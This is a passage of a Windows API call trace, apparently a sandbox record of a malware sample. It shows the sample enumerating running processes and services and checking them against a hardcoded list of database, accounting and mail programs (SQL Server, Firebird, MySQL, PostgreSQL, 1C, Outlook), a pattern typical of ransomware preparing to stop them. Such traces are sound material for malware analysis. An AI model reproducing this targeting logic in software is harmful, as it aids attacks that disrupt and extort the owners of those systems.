lpString2="ProfSvc") returned 1 [0140.084] lstrlenW (lpString="RpcEptMapper") returned 12 [0140.084] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0140.084] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0140.084] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0140.084] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0140.084] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0140.084] lstrlenW (lpString="RpcSs") returned 5 [0140.084] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0140.084] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0140.084] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0140.084] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0140.084] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0140.084] lstrlenW (lpString="SamSs") returned 5 [0140.084] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0140.084] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0140.084] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0140.084] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0140.084] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0140.084] lstrlenW (lpString="Schedule") returned 8 [0140.085] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0140.085] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0140.085] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0140.085] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0140.085] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0140.085] lstrlenW (lpString="SENS") returned 4 [0140.085] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0140.085] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0140.085] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0140.085] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0140.085] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0140.085] lstrlenW (lpString="ShellHWDetection") returned 16 [0140.085] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0140.085] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0140.085] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0140.085] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0140.085] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0140.085] lstrlenW (lpString="Spooler") returned 7 [0140.085] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0140.085] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0140.085] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0140.085] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0140.085] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0140.085] lstrlenW (lpString="SysMain") returned 7 [0140.085] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0140.085] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0140.085] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0140.085] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0140.085] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0140.085] lstrlenW (lpString="Themes") returned 6 [0140.085] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0140.085] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0140.085] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0140.085] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0140.085] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0140.085] lstrlenW (lpString="TrkWks") returned 6 [0140.086] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="TrkWks") returned -1 [0140.086] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="TrkWks") returned -1 [0140.086] lstrcmpiW (lpString1="sqlwriter", lpString2="TrkWks") returned -1 [0140.086] lstrcmpiW (lpString1="mssqlserver", lpString2="TrkWks") returned -1 [0140.086] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="TrkWks") returned -1 [0140.086] lstrlenW (lpString="UxSms") returned 5 [0140.086] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="UxSms") returned -1 [0140.086] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="UxSms") returned -1 [0140.086] lstrcmpiW (lpString1="sqlwriter", lpString2="UxSms") returned -1 [0140.086] lstrcmpiW (lpString1="mssqlserver", lpString2="UxSms") returned -1 [0140.086] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="UxSms") returned -1 [0140.086] HeapFree (in: hHeap=0x880000, dwFlags=0x0, lpMem=0x4241058 | out: hHeap=0x880000) returned 1 [0140.086] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x390 [0140.088] Process32FirstW (in: hSnapshot=0x390, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0140.088] Process32NextW (in: hSnapshot=0x390, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4a, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0140.088] lstrlenW (lpString="System") returned 6 [0140.088] lstrcmpiW (lpString1="1c8.exe", lpString2="System") returned -1 [0140.088] lstrcmpiW (lpString1="1cv77.exe", lpString2="System") returned -1 [0140.088] lstrcmpiW (lpString1="outlook.exe", lpString2="System") returned -1 [0140.089] lstrcmpiW (lpString1="postgres.exe", lpString2="System") returned -1 [0140.089] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="System") returned -1 [0140.089] lstrcmpiW (lpString1="mysqld.exe", lpString2="System") returned -1 [0140.089] lstrcmpiW (lpString1="sqlservr.exe", lpString2="System") returned -1 [0140.089] Process32NextW (in: hSnapshot=0x390, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x108, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0140.089] lstrlenW (lpString="smss.exe") returned 8 [0140.089] lstrcmpiW (lpString1="1c8.exe", lpString2="smss.exe") returned -1 [0140.089] lstrcmpiW (lpString1="1cv77.exe", lpString2="smss.exe") returned -1 [0140.089] lstrcmpiW (lpString1="outlook.exe", lpString2="smss.exe") returned -1 [0140.089] lstrcmpiW (lpString1="postgres.exe", lpString2="smss.exe") returned -1 [0140.089] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="smss.exe") returned -1 [0140.089] lstrcmpiW (lpString1="mysqld.exe", lpString2="smss.exe") returned -1 [0140.089] lstrcmpiW (lpString1="sqlservr.exe", lpString2="smss.exe") returned 1 [0140.089] Process32NextW (in: hSnapshot=0x390, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0140.089] lstrlenW (lpString="csrss.exe") returned 9 [0140.089] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0140.089] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0140.089] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0140.090] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0140.090] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0140.090] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0140.090] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1 [0140.090] Process32NextW (in: hSnapshot=0x390, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x178, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0140.090] lstrlenW (lpString="wininit.exe") returned 11 [0140.090] lstrcmpiW (lpString1="1c8.exe", lpString2="wininit.exe") returned -1 [0140.090] lstrcmpiW (lpString1="1cv77.exe", lpString2="wininit.exe") returned -1 [0140.090] lstrcmpiW (lpString1="outlook.exe", lpString2="wininit.exe") returned -1 [0140.090] lstrcmpiW (lpString1="postgres.exe", lpString2="wininit.exe") returned -1 [0140.090] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="wininit.exe") returned -1 [0140.090] lstrcmpiW (lpString1="mysqld.exe", lpString2="wininit.exe") returned -1 [0140.090] lstrcmpiW (lpString1="sqlservr.exe", lpString2="wininit.exe") returned -1 [0140.090] Process32NextW (in: hSnapshot=0x390, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0140.090] lstrlenW (lpString="csrss.exe") returned 9 [0140.090] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0140.090] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0140.091] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0140.091] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0140.091] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0140.091] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0140.091] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1 [0140.091] Process32NextW (in: hSnapshot=0x390, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0140.091] lstrlenW (lpString="winlogon.exe") returned 12 [0140.091] lstrcmpiW (lpString1="1c8.exe", lpString2="winlogon.exe") returned -1 [0140.091] lstrcmpiW (lpString1="1cv77.exe", lpString2="winlogon.exe") returned -1 [0140.091] lstrcmpiW (lpString1="outlook.exe", lpString2="winlogon.exe") returned -1 [0140.091] lstrcmpiW (lpString1="postgres.exe", lpString2="winlogon.exe") returned -1 [0140.091] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="winlogon.exe") returned -1 [0140.091] lstrcmpiW (lpString1="mysqld.exe", lpString2="winlogon.exe") returned -1 [0140.091] lstrcmpiW (lpString1="sqlservr.exe", lpString2="winlogon.exe") returned -1 [0140.091] Process32NextW (in: hSnapshot=0x390, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0140.091] lstrlenW (lpString="services.exe") returned 12 [0140.091] lstrcmpiW (lpString1="1c8.exe", lpString2="services.exe") returned -1 [0140.091] lstrcmpiW (lpString1="1cv77.exe", lpString2="services.exe") returned -1 [0140.092] lstrcmpiW (lpString1="outlook.exe", lpString2="services.exe") returned -1 [0140.092] lstrcmpiW (lpString1="postgres.exe", lpString2="services.exe") returned -1 [0140.092] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="services.exe") returned -1 [0140.092] lstrcmpiW (lpString1="mysqld.exe", lpString2="services.exe") returned -1 [0140.092] lstrcmpiW (lpString1="sqlservr.exe", lpString2="services.exe") returned 1 [0140.092] Process32NextW (in: hSnapshot=0x390, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0140.092] lstrlenW (lpString="lsass.exe") returned 9 [0140.092] lstrcmpiW (lpString1="1c8.exe", lpString2="lsass.exe") returned -1 [0140.092] lstrcmpiW (lpString1="1cv77.exe", lpString2="lsass.exe") returned -1 [0140.092] lstrcmpiW (lpString1="outlook.exe", lpString2="lsass.exe") returned 1 [0140.092] lstrcmpiW (lpString1="postgres.exe", lpString2="lsass.exe") returned 1 [0140.092] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="lsass.exe") returned 1 [0140.092] lstrcmpiW (lpString1="mysqld.exe", lpString2="lsass.exe") returned 1 [0140.092] lstrcmpiW (lpString1="sqlservr.exe", lpString2="lsass.exe") returned 1 [0140.092] Process32NextW (in: hSnapshot=0x390, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0140.092] lstrlenW (lpString="lsm.exe") returned 7 [0140.092] lstrcmpiW (lpString1="1c8.exe", lpString2="lsm.exe") returned -1 [0140.092] lstrcmpiW (lpString1="1cv77.exe", lpString2="lsm.exe") returned -1 [0140.093] lstrcmpiW (lpString1="outlook.exe", lpString2="lsm.exe") returned 1 [0140.093] lstrcmpiW (lpString1="postgres.exe", lpString2="lsm.exe") returned 1 [0140.093] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="lsm.exe") returned 1 [0140.093] lstrcmpiW (lpString1="mysqld.exe", lpString2="lsm.exe") returned 1 [0140.093] lstrcmpiW (lpString1="sqlservr.exe", lpString2="lsm.exe") returned 1 [0140.093] Process32NextW (in: hSnapshot=0x390, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0140.093] lstrlenW (lpString="svchost.exe") returned 11 [0140.093] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1 [0140.093] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1 [0140.093] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1 [0140.093] lstrcmpiW (lpString1="postgres.exe", lpString2="svchost.exe") returned -1 [0140.093] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="svchost.exe") returned -1 [0140.093] lstrcmpiW (lpString1="mysqld.exe", lpString2="svchost.exe") returned -1 [0140.093] lstrcmpiW (lpString1="sqlservr.exe", lpString2="svchost.exe") returned -1 [0140.093] Process32NextW (in: hSnapshot=0x390, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x298, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0140.093] lstrlenW (lpString="svchost.exe") returned 11 [0140.093] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1 [0140.093] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1 [0140.093] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1 [0140.094] lstrcmpiW (lpString1="postgres.exe", lpString2="svchost.exe") returned -1 [0140.094] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="svchost.exe") returned -1 [0140.094] lstrcmpiW (lpString1="mysqld.exe", lpString2="svchost.exe") returned -1 [0140.094] lstrcmpiW (lpString1="sqlservr.exe", lpString2="svchost.exe") returned -1 [0140.094] Process32NextW (in: hSnapshot=0x390, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0140.094] lstrlenW (lpString="svchost.exe") returned 11 [0140.094] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1 [0140.094] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1 [0140.094] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1 [0140.094] lstrcmpiW (lpString1="postgres.exe", lpString2="svchost.exe") returned -1 [0140.094] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="svchost.exe") returned -1 [0140.094] lstrcmpiW (lpString1="mysqld.exe", lpString2="svchost.exe") returned -1 [0140.094] lstrcmpiW (lpString1="sqlservr.exe", lpString2="svchost.exe") returned -1 [0140.094] Process32NextW (in: hSnapshot=0x390, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x338, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0140.094] lstrlenW (lpString="svchost.exe") returned 11 [0140.095] Process32NextW (in: hSnapshot=0x390, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x370, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0140.095] lstrlenW (lpString="svchost.exe") returned 11 [0140.095] Process32NextW (in: hSnapshot=0x390, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x2c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0140.095] lstrlenW (lpString="audiodg.exe") returned 11 [0140.095] Process32NextW (in: hSnapshot=0x390, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0140.096] lstrlenW (lpString="svchost.exe") returned 11 [0140.096] Process32NextW (in: hSnapshot=0x390, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x36c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x1ac, pcPriClassBase=8, dwFlags=0x0, szExeFile="userinit.exe")) returned 1 [0140.096] lstrlenW (lpString="userinit.exe") returned 12 [0140.096] Process32NextW (in: hSnapshot=0x390, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x138, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1f, th32ParentProcessID=0x36c, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0140.096] lstrlenW (lpString="explorer.exe") returned 12 [0140.096] Process32NextW (in: hSnapshot=0x390, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x41c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x338, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0140.096] lstrlenW (lpString="dwm.exe") returned 7 [0140.097] Process32NextW (in: hSnapshot=0x390, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x454, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0140.097] lstrlenW (lpString="svchost.exe") returned 11 [0140.097] Process32NextW (in: hSnapshot=0x390, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x138, pcPriClassBase=8, dwFlags=0x0, szExeFile="dttcodexgigas.4f69bcddc711da231e27b9346c711b2ad52d6c2b.exe")) returned 1 [0140.097] lstrlenW (lpString="dttcodexgigas.4f69bcddc711da231e27b9346c711b2ad52d6c2b.exe") returned 58 [0140.097] Process32NextW (in: hSnapshot=0x390, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x514, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0140.097] lstrlenW (lpString="spoolsv.exe") returned 11 [0140.097] Process32NextW (in: hSnapshot=0x390, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x590, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="reader_sl.exe")) returned 1 [0140.098] lstrlenW (lpString="reader_sl.exe") returned 13 [0140.098] Process32NextW (in: hSnapshot=0x390, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0140.098] lstrlenW (lpString="svchost.exe") returned 11 [0140.098] Process32NextW (in: hSnapshot=0x390, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0140.099] lstrlenW (lpString="taskhost.exe") returned 12 [0140.099] Process32NextW (in: hSnapshot=0x390, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 0 [0140.099] CloseHandle (hObject=0x390) returned 1 [0140.099] Sleep (dwMilliseconds=0x1f4) [0140.713] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x8f5ce0 [0140.919] EnumServicesStatusExW (in: hSCManager=0x8f5ce0, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x214ff44, lpServicesReturned=0x214ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x214ff44, lpServicesReturned=0x214ff5c, lpResumeHandle=0x0) returned 0 [0140.919] GetLastError () returned 0xea [0140.919] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0xd68) returned 0x42fcff0 [0140.919] EnumServicesStatusExW (in: hSCManager=0x8f5ce0, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x42fcff0, cbBufSize=0xd68, pcbBytesNeeded=0x214ff44, lpServicesReturned=0x214ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x42fcff0, pcbBytesNeeded=0x214ff44, lpServicesReturned=0x214ff5c, lpResumeHandle=0x0) returned 1 [0140.967] CloseServiceHandle (hSCObject=0x8f5ce0) returned 1 [0140.968] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0140.968] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0140.968] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0140.968] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0140.968] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0140.968] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0140.968] lstrlenW (lpString="AudioSrv") returned 8 [0140.968] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioSrv") returned 1 [0140.968] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioSrv") returned 1 [0140.968] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioSrv") returned 1 [0140.968] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioSrv") returned 1 [0140.968] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioSrv") returned 1 [0140.968] lstrlenW (lpString="BFE") returned 3 [0140.968] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0140.968] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0140.968] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0140.968] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0140.968] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0140.968] lstrlenW (lpString="CryptSvc") returned 8 [0140.968] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0140.968] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0140.968] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0140.968] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0140.968] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0140.968] lstrlenW (lpString="CscService") returned 10 [0140.968] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CscService") returned 1 [0140.968] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CscService") returned 1 [0140.968] lstrcmpiW (lpString1="sqlwriter", lpString2="CscService") returned 1 [0140.968] lstrcmpiW (lpString1="mssqlserver", lpString2="CscService") returned 1 [0140.968] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CscService") returned 1 [0140.968] lstrlenW (lpString="DcomLaunch") returned 10 [0140.968] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0140.968] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0140.969] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0140.969] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0140.969] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0140.969] lstrlenW (lpString="Dhcp") returned 4 [0140.969] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0140.969] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0140.969] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0140.969] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0140.969] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0140.969] lstrlenW (lpString="Dnscache") returned 8 [0140.969] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0140.969] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", 